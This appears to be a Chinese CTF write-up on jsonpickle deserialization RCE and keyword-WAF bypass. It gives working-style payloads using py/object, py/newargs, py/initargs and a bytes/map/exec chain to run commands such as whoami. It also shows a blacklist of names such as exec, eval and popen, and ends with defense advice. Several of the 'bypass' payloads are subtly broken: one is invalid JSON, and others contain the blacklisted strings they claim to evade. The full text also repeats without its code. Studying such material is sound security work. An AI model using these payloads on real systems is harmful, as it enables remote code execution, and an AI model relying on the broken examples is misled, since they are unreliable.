JsonPickle调试分析原理及WAF绕过
字数 1047 2025-08-22 12:22:15

JsonPickle调试分析原理及WAF绕过技术详解

1. 背景介绍

本文基于强网杯S8决赛中的JsonPickle漏洞进行深入分析,探讨其反序列化原理及WAF绕过技术。JsonPickle是一个Python库,用于将复杂Python对象序列化为JSON格式,并能够从JSON反序列化回Python对象。

2. 漏洞环境分析

2.1 示例代码结构

from flask import Flask, request, render_template, redirect
from dataclasses import dataclass
from time import time
import jsonpickle
import base64
import json
import os

@dataclass
class User:
    username: str
    password: str

@dataclass
class Token:
    username: str
    timestamp: int

app = Flask(__name__)
users = [User('admin', os.urandom(32).hex()), User('guest', 'guest')]

BLACKLIST = ['repr', 'state', 'json', 'reduce', 'tuple', 'nt', '\\\\', 'builtins', 'os', 'popen', 'exec', 'eval', 'posix', 'spawn', 'compile', 'code']

def waf(jtoken):
    otoken = json.loads(jtoken)
    token = json.dumps(otoken, ensure_ascii=False)
    for keyword in BLACKLIST:
        if keyword in token:
            return False
    return True

2.2 关键功能点

  1. 用户登录后生成Token并序列化存储到cookie
  2. 访问/home和/s3Cr3T路由时验证Token
  3. WAF过滤黑名单关键词

3. JsonPickle反序列化原理分析

3.1 核心流程

JsonPickle反序列化的主要流程在_restore方法中:

def _restore(self, obj):
    if not isinstance(obj, (str, list, dict, set, tuple)):
        restore = _passthrough
    else:
        restore = self._restore_tags(obj)
    return restore(obj)

3.2 标签处理机制

JsonPickle通过识别特定标签来恢复对象:

  1. reduce标签:对应Python的__reduce__方法,常用于反序列化攻击
  2. object标签:用于恢复自定义类实例
  3. function标签:用于恢复函数
  4. type标签:用于加载类
  5. newargsex/newargs/initargs标签:用于传递参数

3.3 关键恢复函数

  1. _restore_tags:根据标签类型调用对应的恢复函数
  2. _restore_object:处理对象恢复
  3. _restore_object_instance:实例化对象
  4. _restore_function:恢复函数

4. WAF绕过技术

4.1 绕过reduce标签

传统利用__reduce__的方法:

class Exp1(object):
    def __reduce__(self):
        return (__import__('os').system, ('whoami',))

但会被WAF拦截,需要寻找替代方案。

4.2 利用object标签

object标签可以绕过reduce限制:

class Exp2(object):
    def __init__(self, name, value=0):
        self.name = name
        self.value = value

构造payload:

{
    "py/object": "nt.system",
    "py/newargsex": [["py/set": ["whoami"]], ""]
}

4.3 参数标签绕过

利用不同的参数传递标签:

  1. newargs标签
{"py/object": "os.system", "py/newargs": ["whoami"]}
  1. initargs标签
{"py/object": "os.system", "py/initargs": ["whoami"]}

4.4 利用type标签

type标签可以直接加载类:

{
    "py/reduce": [
        {"py/type": "nt.system"},
        {"py/tuple": ["whoami"]}
    ]
}

4.5 高级RCE技术

利用内置类的__new__方法触发RCE:

bytes.__new__(bytes, map(eval, ['__import__("os").system("ls")']))

构造payload:

{
    "py/object": "builtins.bytes",
    "py/newargs": {
        "py/object": "builtins.map",
        "py/newargs": [
            {"py/function": "builtins.exec"},
            ["print(123)"]
        ]
    }
}

5. 防御建议

  1. 避免直接反序列化不可信数据
  2. 使用更严格的白名单机制替代黑名单
  3. 限制反序列化的类和函数范围
  4. 使用safe=True参数(但仍有绕过可能)
  5. 对反序列化过程进行沙箱隔离

6. 总结

JsonPickle的反序列化机制提供了多种可能导致RCE的途径,通过深入分析其标签处理机制,可以构造多种绕过WAF的payload。防御此类漏洞需要从架构设计层面进行考虑,而不仅仅是依赖简单的关键词过滤。

JsonPickle调试分析原理及WAF绕过技术详解 1. 背景介绍 本文基于强网杯S8决赛中的JsonPickle漏洞进行深入分析,探讨其反序列化原理及WAF绕过技术。JsonPickle是一个Python库,用于将复杂Python对象序列化为JSON格式,并能够从JSON反序列化回Python对象。 2. 漏洞环境分析 2.1 示例代码结构 2.2 关键功能点 用户登录后生成Token并序列化存储到cookie 访问/home和/s3Cr3T路由时验证Token WAF过滤黑名单关键词 3. JsonPickle反序列化原理分析 3.1 核心流程 JsonPickle反序列化的主要流程在 _restore 方法中: 3.2 标签处理机制 JsonPickle通过识别特定标签来恢复对象: reduce标签 :对应Python的 __reduce__ 方法,常用于反序列化攻击 object标签 :用于恢复自定义类实例 function标签 :用于恢复函数 type标签 :用于加载类 newargsex/newargs/initargs标签 :用于传递参数 3.3 关键恢复函数 _restore_tags :根据标签类型调用对应的恢复函数 _restore_object :处理对象恢复 _restore_object_instance :实例化对象 _restore_function :恢复函数 4. WAF绕过技术 4.1 绕过reduce标签 传统利用 __reduce__ 的方法: 但会被WAF拦截,需要寻找替代方案。 4.2 利用object标签 object标签可以绕过reduce限制: 构造payload: 4.3 参数标签绕过 利用不同的参数传递标签: newargs标签 : initargs标签 : 4.4 利用type标签 type标签可以直接加载类: 4.5 高级RCE技术 利用内置类的 __new__ 方法触发RCE: 构造payload: 5. 防御建议 避免直接反序列化不可信数据 使用更严格的白名单机制替代黑名单 限制反序列化的类和函数范围 使用 safe=True 参数(但仍有绕过可能) 对反序列化过程进行沙箱隔离 6. 总结 JsonPickle的反序列化机制提供了多种可能导致RCE的途径,通过深入分析其标签处理机制,可以构造多种绕过WAF的payload。防御此类漏洞需要从架构设计层面进行考虑,而不仅仅是依赖简单的关键词过滤。